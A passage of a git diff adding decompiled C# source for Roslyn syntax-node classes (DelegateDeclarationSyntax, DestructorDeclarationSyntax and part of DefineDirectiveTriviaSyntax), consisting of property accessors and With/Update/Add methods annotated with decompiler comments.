Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, DefineKeyword, Name, EndOfDirectiveToken, IsActive); + } + + public DefineDirectiveTriviaSyntax WithDefineKeyword(SyntaxToken defineKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, defineKeyword, Name, EndOfDirectiveToken, IsActive); + } + + public DefineDirectiveTriviaSyntax WithName(SyntaxToken name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, DefineKeyword, name, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new DefineDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, DefineKeyword, Name, endOfDirectiveToken, IsActive); + } + + public DefineDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, DefineKeyword, Name, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DelegateDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DelegateDeclarationSyntax.cs new file mode 100644 index 0000000..acb8458 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DelegateDeclarationSyntax.cs @@ -0,0 +1,302 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DelegateDeclarationSyntax : MemberDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? returnType; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private SyntaxNode? constraintClauses; + + public int Arity + { + get + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (TypeParameterList != null) + { + return TypeParameterList.Parameters.Count; + } + return 0; + } + } + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken DelegateKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DelegateDeclarationSyntax)(object)((SyntaxNode)this).Green).delegateKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public TypeSyntax ReturnType => ((SyntaxNode)this).GetRed(ref returnType, 3); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DelegateDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 5); + + public ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 6); + + public SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 7)); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DelegateDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + + internal DelegateDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref returnType, 3), + 5 => ((SyntaxNode)this).GetRed(ref typeParameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref parameterList, 6), + 7 => ((SyntaxNode)this).GetRed(ref constraintClauses, 7), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => returnType, + 5 => typeParameterList, + 6 => parameterList, + 7 => constraintClauses, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDelegateDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDelegateDeclaration(this); + } + + public DelegateDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || delegateKeyword != DelegateKeyword || returnType != ReturnType || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || constraintClauses != ConstraintClauses || semicolonToken != SemicolonToken) + { + DelegateDeclarationSyntax delegateDeclarationSyntax = SyntaxFactory.DelegateDeclaration(attributeLists, modifiers, delegateKeyword, returnType, identifier, typeParameterList, parameterList, constraintClauses, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return delegateDeclarationSyntax; + } + return delegateDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new DelegateDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, DelegateKeyword, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new DelegateDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, DelegateKeyword, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithDelegateKeyword(SyntaxToken delegateKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, delegateKeyword, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithReturnType(TypeSyntax returnType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, DelegateKeyword, returnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, DelegateKeyword, ReturnType, identifier, TypeParameterList, ParameterList, ConstraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, DelegateKeyword, ReturnType, Identifier, typeParameterList, ParameterList, ConstraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, DelegateKeyword, ReturnType, Identifier, TypeParameterList, parameterList, ConstraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, DelegateKeyword, ReturnType, Identifier, TypeParameterList, ParameterList, constraintClauses, SemicolonToken); + } + + public DelegateDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, DelegateKeyword, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new DelegateDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new DelegateDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public DelegateDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + public DelegateDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + public DelegateDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DestructorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DestructorDeclarationSyntax.cs new file mode 100644 index 0000000..ed51178 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DestructorDeclarationSyntax.cs @@ -0,0 +1,323 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DestructorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private ParameterListSyntax? parameterList; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken TildeToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DestructorDeclarationSyntax)(object)((SyntaxNode)this).Green).tildeToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DestructorDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 4); + + public override BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 5); + + public override ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 6); + + public override SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DestructorDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + } + } + + public DestructorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax body, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, tildeToken, identifier, parameterList, body, null, semicolonToken); + } + + internal DestructorDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref parameterList, 4), + 5 => ((SyntaxNode)this).GetRed(ref body, 5), + 6 => ((SyntaxNode)this).GetRed(ref expressionBody, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => parameterList, + 5 => body, + 6 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDestructorDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDestructorDeclaration(this); + } + + public DestructorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || tildeToken != TildeToken || identifier != Identifier || parameterList != ParameterList || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + DestructorDeclarationSyntax destructorDeclarationSyntax = SyntaxFactory.DestructorDeclaration(attributeLists, modifiers, tildeToken, identifier, parameterList, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return destructorDeclarationSyntax; + } + return destructorDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new DestructorDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, TildeToken, Identifier, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new DestructorDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, TildeToken, Identifier, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public DestructorDeclarationSyntax WithTildeToken(SyntaxToken tildeToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, tildeToken, Identifier, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public DestructorDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, TildeToken, identifier, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithParameterListCore(ParameterListSyntax parameterList) + { + return WithParameterList(parameterList); + } + + public new DestructorDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, TildeToken, Identifier, parameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithBodyCore(BlockSyntax? body) + { + return WithBody(body); + } + + public new DestructorDeclarationSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, TildeToken, Identifier, ParameterList, body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithExpressionBodyCore(ArrowExpressionClauseSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new DestructorDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, TildeToken, Identifier, ParameterList, Body, expressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new DestructorDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, TildeToken, Identifier, ParameterList, Body, ExpressionBody, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new DestructorDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new DestructorDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseMethodDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new DestructorDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBodyAttributeLists(items); + } + + public new DestructorDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyStatementsCore(params StatementSyntax[] items) + { + return AddBodyStatements(items); + } + + public new DestructorDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DirectiveTriviaSyntax.cs 